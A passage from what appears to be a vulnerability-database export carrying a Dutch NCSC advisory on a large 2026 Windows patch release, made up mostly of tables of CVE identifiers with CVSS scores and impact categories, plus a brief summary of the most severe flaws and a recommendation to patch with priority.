gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:41.604782Z"}, {"uuid": "0a9c83ae-3a42-4a48-be32-6cc011cc2581", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54129", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: 